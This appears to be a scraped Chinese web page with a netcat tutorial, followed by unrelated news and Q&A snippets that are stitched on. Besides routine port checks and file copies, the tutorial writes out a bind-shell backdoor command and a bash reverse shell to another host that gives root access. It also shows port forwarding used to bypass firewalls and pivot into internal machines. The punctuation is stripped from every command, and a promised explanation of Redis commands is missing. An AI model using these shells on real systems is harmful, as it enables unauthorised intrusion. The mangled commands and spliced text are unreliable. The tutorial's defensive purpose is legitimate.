专栏电商日志财经减肥爱情
投稿投诉
爱情常识
搭配分娩
减肥两性
孕期塑形
财经教案
论文美文
日志体育
养生学堂
电商科学
头戴业界
专栏星座
用品音乐

网络中的瑞士军刀ncnetcat命令,你用过吗?

  ncatnc既是一个端口扫描工具,也是一款安全工具,还能是一款监测工具,它可以用来在网络上读、写以及重定向数据。同时它还能创建任意所需的连接,由于有这么多的功能,它被誉为是网络界的瑞士军刀。每个运维人员都应该知道并且掌握它。
  在CentOS7RHEL7的最小化安装中,nc并不会默认被安装。所以需要用下列命令手工安装。〔rootlinuxtechi〕yumyinstallnmapncat
  运维人员使用nc可以用来审计系统安全,用它来找出开放的端口然后保护这些端口。还能用它作为客户端来审计Web服务器、telnet服务器、邮件服务器等,通过nc我们可以控制发送的每个字符,也可以查看对方的回应。
  下面看几个nc常用例子。
  1、监听入站连接
  完整的命令是这样的:〔rootlocalhost〕ncatlportnumber
  通过l选项,ncat可以进入监听模式。指定该参数,则意味着nc被当作server,侦听并接受连接,而非向其它地址发起连接。
  例如:〔rootlocalhost〕ncatl8080
  服务器就会开始在8080端口监听入站连接。
  2、使用nc探测端口状态
  不同版本,nc的用法稍有不同,在CentOS6。x版本下,可以通过nc扫描系统中开放了哪些端口,例如:〔rootnnmaster〕ncnvz172。16。213。15580Connectionto172。16。213。15580port〔tcp〕succeeded!〔rootnnmaster〕ncnvz172。16。213。372023nc:connectto172。16。213。37port20(tcp)failed:Connectionrefusednc:connectto172。16。213。37port21(tcp)failed:ConnectionrefusedConnectionto172。16。213。3722port〔tcp〕succeeded!nc:connectto172。16。213。37port23(tcp)failed:Connectionrefused
  其中:
  ?n表示直接使用ip地址,而不通过域名服务器
  ?v输出更详细的指令执行结果。
  ?z使用0输入输出模式,只在扫描通信端口时使用
  而在CentOS7。x版本下,nc要探测端口的话,使用方法如下:ncw3IP地址端口devnullechotcpportok
  其中,w参数是表示超时秒数,后面跟数字。
  例如:〔rootSparkMaster〕ncw3172。16。213。1708080devnullechotcpportoktcpportok
  如果端口是通的,那么将返回tcpportok,反之返回Ncat:Connectionrefused提示。同理,要探测udp端口状态,需要使用u参数,例如:ncuw3IP地址端口devnullechoudpportok
  3、通过nc进行文件、目录传输
  nc还能用来在系统间拷贝文件,虽然这么做并不推荐,因为绝大多数系统默认都安装了sshscp。不过如果恰好你遇见个没有sshscp的系统的话,你可以用nc来作为后备。
  首先,在A机器(从这个机器拷贝数据文件,ip为172。16。213。230)启动10000端口,进入监听模式,执行如下命令:〔rootlocalhost〕ncl10000sendonlyjdk1。8。0171。tar。gz
  接着,在B机器(拷贝文件到这台机器)执行如下命令:〔rootlocalhost〕ncn172。16。213。23010000recvonlyjdk。tar。gz
  jdk1。8。0171。tar。gz是要发送的文件,jdk。tar。gz是传输到B机器上后的文件名。sendonly选项会在文件拷贝完后立即关闭连接。如果不加该选项,需要手工按下ctrlc来关闭连接。同理,recvonly是接收完毕后自动关闭连接。
  发送一个文件很简单,但是如果我们想要发送多个文件,或者整个目录呢,是的,一样很简单,只需要使用压缩工具tar,压缩后发送压缩包即可,然后在接收端自动解压。
  首先,在A机器(发送端,ip为172。16。213。230),要将prometheus目录发送到远程B主机,执行如下命令:〔rootlocalhost〕tarcvfprometheusncl10000sendonly
  接着,在B机器执行如下命令,将接收A机器传输过来的prometheus目录,并保存到B主机的当前目录下:〔rootlocalhost〕ncn172。16。213。23010000recvonlytarxvf
  当然,也可以选择性的指定要发送的目录,例如要发送A机器上的usrlocalnginx目录到B机器的app目录下,可以执行如下命令:
  在A机器执行:〔rootlocalhost〕tarcvfusrlocalnginxncl10000sendonly
  在B机器执行:〔rootlocalhost〕ncn172。16。213。23010000recvonlytarxvfCapp
  这样执行后,A机器上的usrlocalnginx目录就发送到了B机器的app目录下了。
  4、通过nc创建一个shell后门
  nc命令还可以用来在系统中创建后门,并且这种技术已经被黑客大量使用,为了保护我们的系统安全,我们需要知道它是怎么做的。
  首先,在A服务器(172。16。213。230)上执行如下命令,创建后门:〔rootlocalhostlocal〕ncatlk10000ebinbash
  e标志将一个bash与端口10000相连。也就是说,现在客户端只要连接到服务器上的10000端口就能通过bash获取我们系统的完整访问权限。
  k选项表示强制nc待命,当客户端从服务端断开连接后,过一段时间服务端也会停止监听。但通过选项k我们可以强制服务器保持连接并继续监听端口。
  接着,在任意能访问172。16。213。230的10000端口的客户端上执行如下命令,即可直接登录172。16。213。230的系统。如下图所示:〔rootSparkMasternginx〕ncat172。16。213。23010000
  5、nc反向shell的应用
  反向shell是指在客户端打开的shell。反向shell这样命名是因为不同于其他配置,这里服务器使用的是由客户提供的服务端口。
  首先在远端任意一个客户端主机A(IP为172。16。213。231)监听一个端口,端口可以随意指定,这里指定一个20000端口:〔rootSparkMasterindices〕ncl20000
  这样,20000在172。16。213。231主机上已经监听起来了。
  接着,在另一个服务器B(ip地址为172。16。213。230)上执行如下命令:〔rootlocalhostlocal〕binbashidevtcp172。16。213。2312000001
  现在回到A主机这个客户端上来,等待一分钟后,此终端会自动进入到shell命令行,注意看,这个进入的shell就是172。16。213。230主机了。〔rootSparkMasterindices〕ncl20000〔rootlocalhost〕ifconfiggrepeth0eth0:flags4163UP,BROADCAST,RUNNING,MULTICASTmtu1500inet172。16。213。230netmask255。255。255。0broadcast172。16。213。255inet6fe80::a00:27ff:feac:b073prefixlen64scopeid0x20linkether08:00:27:ac:b0:73txqueuelen1000(Ethernet)RXpackets17415571bytes20456663691(19。0GiB)RXerrors0dropped156975overruns0frame0TXpackets2379917bytes2031493944(1。8GiB)TXerrors0dropped0overruns0carrier0collisions0
  看到了吧,顺利进入B服务器了,还是root用户,接下来你想干什么,都行。这个反弹shell就是先入侵B服务器,然后在客户端就可以操作B了。
  最后,解释下上面植入的那个反弹shell和redis命令。先看这个反弹shell的内容:binbashidevtcp172。16。213。2312000001
  首先,bashi是打开一个交互的bash,这个最简单。
  其次,devtcp是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接,读写这个文件就相当于在这个socket连接中传输数据。同理,Linux中还存在devudp。
  接着,其实和是一个意思,都是将标准错误输出重定向到标准输出。
  最后,01和01也是一个意思,都是将标准输入重定向到标准输出中。
  你要问这个0、1、2是什么意思吗,那我也解释下吧,在linuxshell下,常用的文件描述符有如下三类:
  (1)标准输入(stdin):代码为0,使用或;
  (2)标准输出(stdout):代码为1,使用或;
  (3)标准错误输出(stderr):代码为2,使用2或2。
  好了,基础普及完了,说下上面这个反弹shell的意思吧。综上所述,这句反弹shell的意思就是,创建一个可交互的bash和一个到172。16。213。231:20000的TCP链接,然后将bash的输入、输出错误都重定向到172。16。213。231的20000监听端口上。其中,172。16。213。231就是我的客户端主机地址。
  6、通过nc进行端口转发
  为什么要端口转发呢?因为防火墙,或者外网访问内网的原因。比如防火墙不允许访问本机的3389端口怎么办,或者外网要想访问一台内网机器怎么办。这时端口转发可以很好的解决这些问题。
  常见的应用场景有:
  (1)对于防火墙禁止访问某些端口的问题,比如3306端口,我们可以将利用机器的其它端口,比如5000端口做端口转发,从外界接受数据,转发给本机的3306端口,从而绕过防火墙。
  (2)对于无法访问内网特定机器的问题,我们可以先抓取内网一台机器,然后利用这台主机进行端口转发,接受外网的数据,将数据转发到内网目标机器的特定端口。
  nc实现端口转发很简单,看一个例子:
  我们通过选项c来用nc进行端口转发,实现端口转发的语法为:〔rootlocalhost〕ncatl80cncatl8080
  这样,所有连接到80端口的连接都会转发到8080端口。
  下面是个具体应用案例,如下图所示:
  从上图可以看到,通过nc成功实现了端口转发请求,可见通过nc做端口转发非常简单。

开手动挡你是看转速换挡还是看速度换挡?开手动挡你是看转速换挡还是看速度换挡?如果你的回答是,看时速换挡,那么可以说,你根本就不会开手动挡,还在拿着驾校的那一套在开车。如果你的回答是看转速换挡,那么就要看你是到多少转速换为什么腊肉在东北没市场?为什么腊肉在东北没市场?首先要考虑东北地区比较寒冷,猪肉不需要被制作成为腊肉保存,东北地区的人们消费的都是冷冻鲜猪肉,他们绝对不会吃南方人制作的这种咸和烟熏味道重的腊肉。吃腊肉的人湖北黄冈漂流景点有很多,有哪些值得推荐的?湖北黄冈漂流景点玫瑰谷漂流玫瑰谷漂流活动,体验世界最长滑道1904。7米世界最大垂直落差215米,全场6。1公里的漂流河道,上游承雨面积达40平方公里,拥有2个水库,容量达60万m今天终于看完扫黑风暴了,孙红雷的表现配不上男主,你们认为呢?按震撼程度,一定更愿意多参与评扫黑风暴。为什么不参与评?一是该剧涉线,稍不注意,答题就会被毙。如果不是因为先前看过央视四集打黑专题片,我都不敢相信这个社会曾经存在这么多这么严重的黑西安地铁15号线航天城站,将来会不会成为下一个小寨?根据西安国家民用航天产业基地十四五规划和2035年远景目标纲要,航天城的2025年总体目标是地区生产总值达到615亿元,占全市比重达到4。4332现代产业体系基本形成科创航天建设取月薪6000,到底算不算低工资?月薪6000元,在中国绝对不算低工资了,咱们国家2020年人均GDP是1。13万美元,相当于年人均收入人民币72158。3653元,相当于每月6000元多一点,按照中国14。1亿人思域的扭矩不高,为何加速却很厉害?问题描述存在两个漏洞思域并不是台具备高性能的汽车说明本田思域被戏称为百万以下无敌手的性能车,然而这种说法只能哄骗一些完全不具备机械常识的新手司机。这样的评价绝对不过火,原因是思域V你去过广西南宁中山路吗?据说,国内十大美食街,中山路榜首夺冠!这条大名鼎鼎的街,不足百米的街道里,布满了200多家店铺,从南宁传统的小吃,芋头糕圈筒粉粉饺油条烧烤田螺海鲜酸野水果凉茶鲜榨果汁花生糊芝麻糊汤为什么还有人瞧不起国产,面子还是国产就是不行还是思想有问题?我认为现在大家对国产不是很重视,主要还是宣传不够,像我自己的话,同样是国产的和外国的品牌的话,我会优先去买国产的,因为最大的原因在于我不懂外语,所以我知道我跑到外国去的话,肯定没人晚上健身后饿了吃红薯可以吗?晚上健身后饿了可以吃点红薯吗?红薯是碳水化合物含量非常高的食物,简单来说就是一个热量炸弹,吃之前还是认真考虑清楚好一点。要清楚自己健身的目的,是减脂还是增肌。减脂的话,绝对不可以吃小店时光如今做投资实体店尤其是餐饮店还有没有机会?讲真话,说实话,这个问题我来回答首先,实体投资是永恒不变的话题,实业兴邦,实体经济是国家社会发展的根本。虚拟经济只能作为实体经济的补充,会帮助实体经济走向升级是,走向更远的未来!不
法国国家队队长中国可以成为世界足球大国,甚至夺得世界杯冠军近几年,你要问中国体育哪一个项目最让人失望?可能大家都会说当然是中国男足,每年投入几十亿,出去参加国际比赛,都是包飞机住五星酒店后勤保障更是拉了十多辆车,这样的投入,却无法让中国男铁道兵历史画卷适应国家建设和战备需要修建铁路网五青藏铁路祖国铁路建设突击队,是党和人民给予铁道兵这支光荣部队的崇高赞誉。从劳动光荣,当铁道兵光荣到汗水溶化千层岩,风枪打通万重山,这是铁道兵战士在不同恶劣的环境中锤炼出来的豪言壮语。从浩翰万润股份新能源电池用电解液添加剂已实现产品供应,也在推进扩产项目万润股份近期接受机构调研时表示,公司积极布局新能源材料领域,目前主要涉及三个方向。一新能源电池用电解液添加剂方面,公司关注并布局一些具有一定技术特点且适合公司开发的新能源电池用电解国家发展改革委到2025年长三角统一开放的市场体系基本建立原标题国家发展改革委到2025年长三角统一开放的市场体系基本建立记者11月10日获悉,国家发展改革委近日发布长三角国际一流营商环境建设三年行动方案(以下简称方案),提出到2025年沃尔核材产品在核工业领域销售逐步推广,已签订合同产品金额累计超亿元沃尔核材11月10日披露投资者关系活动记录表显示,公司与中国核工业集团有限公司中国广核集团有限公司国家电力投资集团有限公司三大核电公司均有研发项目合作,公司产品在核工业领域的销售逐调查不文明语频现,画风惊悚!这些热销绘本能给孩子看吗?北京日报客户端记者孙宏阳骆倩雯近年来,众多价格不菲包装精良的绘本,打着获得国际大奖的旗号进入市场,成为许多低龄儿童的启蒙读物。然而,记者近日发现,一些销量火爆的绘本故事,却频频出现姥姥陪读相伴二年级(42)连带责任文丨流云文苑记录2022。11。10星期四题记作为父母,不能拿出时间来陪孩子,就别对孩子横加指责,特别是在学习成绩上。1。昨晚的事昨天晚上,女儿给我发信息,说她气疯了。迎接检查,忙男子多次闯入医院母婴室接水,哺乳宝妈劝说无效,真实原因是啥?导语现在的很多医院都配备母婴室,方便哺乳期的妇女给孩子喂奶换尿布等,本来是一件非常好的事情,但近日在广西的一家医院,母婴室却给宝妈们带来了很大的困扰,究其原因,竟是男子多次不顾劝阻从鲁医生说起幼童打架,家长怎么处置才合适?最近全网沸沸扬扬的讨论医生爸爸鲁莽出手,介入幼童纷争,导致伤害扩大,局面引起难以收拾的风波。不由使我想起我自己遭遇的一起伤害事件我家娃娃是个男孩子,生性腼腆,进入小学六年级,换了个离婚1年了,大S和汪小菲的人生状况,有何不同?最近汪小菲在直播中红着眼睛思念女儿,他说每当想女儿时就抬头看看云,就好像女儿在看着他,并感谢大S和具俊晔把孩子带得那么好。这样诗意浪漫的表达并没有像以往一样获得同情,反而招来大批网大江大河原著连娶3妻的雷东宝,撕开婚姻里最大的恶与欲文妍七七傲慢与偏见中有一句名言有钱的单身汉总是要娶位太太的,这是一条举世公认的真理。娶妻生子自古以来都被称为人生大事,那么什么样的男人可以称为老婆命?可能在大江大河原著里的连娶三妻
友情链接:快好找快生活快百科快传网中准网文好找聚热点快软网